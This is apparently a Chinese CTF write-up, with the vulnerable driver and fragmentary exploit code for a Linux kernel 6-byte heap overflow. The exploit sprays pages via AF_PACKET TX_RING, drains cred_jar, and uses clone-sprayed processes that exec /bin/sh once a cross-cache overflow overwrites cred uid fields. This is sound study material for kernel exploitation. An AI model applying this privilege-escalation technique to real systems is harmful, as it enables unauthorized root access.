题目
#define MAX 8 * 50
#define OVERFLOW_SZ 0x6
#define CHUNK_SIZE 512
typedef struct
{
char pad[OVERFLOW_SZ]; // <<<<<<<<<<<<<<<<<<
char buf[];
}castaway_t;
struct castaway_cache
{
char buf[CHUNK_SIZE];
};
static int init_castaway_driver(void){
castaway_arr = kzalloc(MAX * sizeof(castaway_t *), GFP_KERNEL);
castaway_cachep = KMEM_CACHE(castaway_cache, SLAB_PANIC | SLAB_ACCOUNT);
}
static long castaway_add(void){
castaway_arr[idx] = kmem_cache_zalloc(castaway_cachep, GFP_KERNEL_ACCOUNT);
}
typedef struct
{
int64_t idx;
uint64_t size;
char *buf;
}user_req_t;
static long castaway_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
user_req_t req;
copy_from_user(&req, (void *)arg, sizeof(req))
castaway_edit(req.idx, req.size, req.buf);
}
static long castaway_edit(int64_t idx, uint64_t size, char *buf){
if (idx < 0 || idx >= MAX || !castaway_arr[idx]) goto edit_fail;
if (size > CHUNK_SIZE || copy_from_user(temp, buf, size)) goto edit_fail;
memcpy(castaway_arr[idx]->buf, temp, size); // <<<<<<<<<<<<<
}
独立 KMEM_CACHE
的6字节堆溢出
利用
int sprayfd_child[2];
int sprayfd_parent[2];
int main(int argc, char **argv)
{
int fd = open("/dev/castaway", O_RDONLY);
if (fd < 0)
{
perror("driver can't be opened");
exit(0);
}
// for communicating with spraying in separate namespace via TX_RINGs
// 用于父子进程通信,实际作为父子进程逻辑开关
pipe(sprayfd_child);
pipe(sprayfd_parent);
puts("setting up spray manager in separate namespace");
if (!fork())
{
unshare_setup(getuid(), getgid());
spray_comm_handler();
}
void spray_comm_handler()
{
ipc_req_t req;
int32_t result;
do {
read(sprayfd_child[0], &req, sizeof(req)); // 先阻塞,知道父进程发送消息
assert(req.idx < INITIAL_PAGE_SPRAY);
if (req.cmd == ALLOC_PAGE)
{
socketfds[req.idx] = alloc_pages_via_sock(4096, 1); // 分配出 1个order 0 paeg
}
else if (req.cmd == FREE_PAGE)
{
close(socketfds[req.idx]);
}
result = req.idx;
write(sprayfd_parent[1], &result, sizeof(result));
} while(req.cmd != EXIT_SPRAY);
}
int alloc_pages_via_sock(uint32_t size, uint32_t n)
{
struct tpacket_req req;
int32_t socketfd, version;
socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
if (socketfd < 0)
{
perror("bad socket");
exit(-1);
}
version = TPACKET_V1;
if (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0)
{
perror("setsockopt PACKET_VERSION failed");
exit(-1);
}
assert(size % 4096 == 0);
memset(&req, 0, sizeof(req));
req.tp_block_size = size;
req.tp_block_nr = n;
req.tp_frame_size = 4096;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0)
{
perror("setsockopt PACKET_TX_RING failed");
exit(-1);
}
return socketfd;
}
耗尽cred_jar
#define CRED_JAR_INITIAL_SPRAY 100
// initial drain
puts("draining cred_jar");
for (int i = 0; i < CRED_JAR_INITIAL_SPRAY; i++)
{
pid_t result = fork();
if (!result)
{
just_wait();
}
if (result < 0)
{
puts("fork limit");
exit(-1);
}
}
耗尽order 0中的page。最好通过堆整理,从高order中,1/2分出整块的page,并将这分出的page,继续1/2的分出,持续到order 0,消耗掉。目的,是这些消耗掉的order 0是物理连续的
#define INITIAL_PAGE_SPRAY 1000
void send_spray_cmd(enum spray_cmd cmd, int idx)
{
ipc_req_t req;
int32_t result;
req.cmd = cmd;
req.idx = idx;
write(sprayfd_child[1], &req, sizeof(req));
read(sprayfd_parent[0], &result, sizeof(result));
assert(result == idx);
}
// buddy allocator massage
puts("massaging order 0 buddy allocations");
for (int i = 0; i < INITIAL_PAGE_SPRAY; i++)
{
send_spray_cmd(ALLOC_PAGE, i);
}
将连续消耗掉的order 0 page,间隔释放出来
for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2)
{
send_spray_cmd(FREE_PAGE, i);
}
将释放出的page重新用cred_jar占据
fork噪声问题
https://bsauce.github.io/2022/11/07/castaways/#2-3-fork%E5%99%AA%E5%A3%B0%E9%97%AE%E9%A2%98
struct timespec timer = {.tv_sec = 1000000000, .tv_nsec = 0};
char throwaway;
char root[] = "root\n";
char binsh[] = "/bin/sh\x00";
char *args[] = {"/bin/sh", NULL};
__attribute__((naked)) void check_and_wait()
{
asm(
"lea rax, [rootfd];" // rootfd-pipe生成的文件描述符
"mov edi, dword ptr [rax];"
"lea rsi, [throwaway];"
"mov rdx, 1;"
"xor rax, rax;"
"syscall;" // read 先阻塞着,知道发送write(rootfd)
"mov rax, 102;"
"syscall;" // getuid
"cmp rax, 0;" // 如果不是root,则退出
"jne finish;"
"mov rdi, 1;"
"lea rsi, [root];"
"mov rdx, 5;"
"mov rax, 1;"
"syscall;" // write(1, root_str, 71)
"lea rdi, [binsh];"
"lea rsi, [args];"
"xor rdx, rdx;"
"mov rax, 59;"
"syscall;" // execve("/bin/sh", args, NULL)
"finish:"
"lea rdi, [timer];"
"xor rsi, rsi;"
"mov rax, 35;"
"syscall;" // nanosleep
"ret;");
}
// https://man7.org/linux/man-pages/man2/clone.2.html
/* for syscall, it's clone(flags, stack, ...) */
__attribute__((naked)) pid_t __clone(uint64_t flags, void *dest)
{
asm("mov r15, rsi;"
"xor rsi, rsi;"
"xor rdx, rdx;"
"xor r10, r10;"
"xor r9, r9;"
"mov rax, 56;"
"syscall;"
"cmp rax, 0;"
"jl bad_end;"
"jg good_end;"
"jmp r15;"
"bad_end:"
"neg rax;"
"ret;"
"good_end:"
"ret;");
}
for (int i = 0; i < FORK_SPRAY; i++)
{
pid_t result = __clone(CLONE_FLAGS, &check_and_wait);
if (result < 0)
{
perror("clone error");
exit(-1);
}
}
释放另一半的order 0 page,期望其中一些page是与cred_jar page间隔的
for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2)
{
send_spray_cmd(FREE_PAGE, i);
}
占据与cred_jar page间隔的page,堆溢出,覆盖cred_jar中cred的uid等字段
*(uint32_t*)&evil[CHUNK_SIZE-0x6] = 1;
// cross cache overflow
puts("spraying cross cache overflow");
for (int i = 0; i < FINAL_PAGE_SPRAY; i++)
{
alloc_vuln_page(fd, isolation_pages, i);
edit_vuln_page(fd, isolation_pages, i, evil, CHUNK_SIZE);
}
puts("notifying forks that spray is completed");
通过clone出来的进程,检查getuid
write(rootfd[1], evil, FORK_SPRAY);
sleep(100000);
exit(0);
ref
https://xz.aliyun.com/t/12417
https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache/
Linux内存管理 (5)slab分配器 kmem_cache_create https://www.cnblogs.com/arnoldlu/p/8215414.html
https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html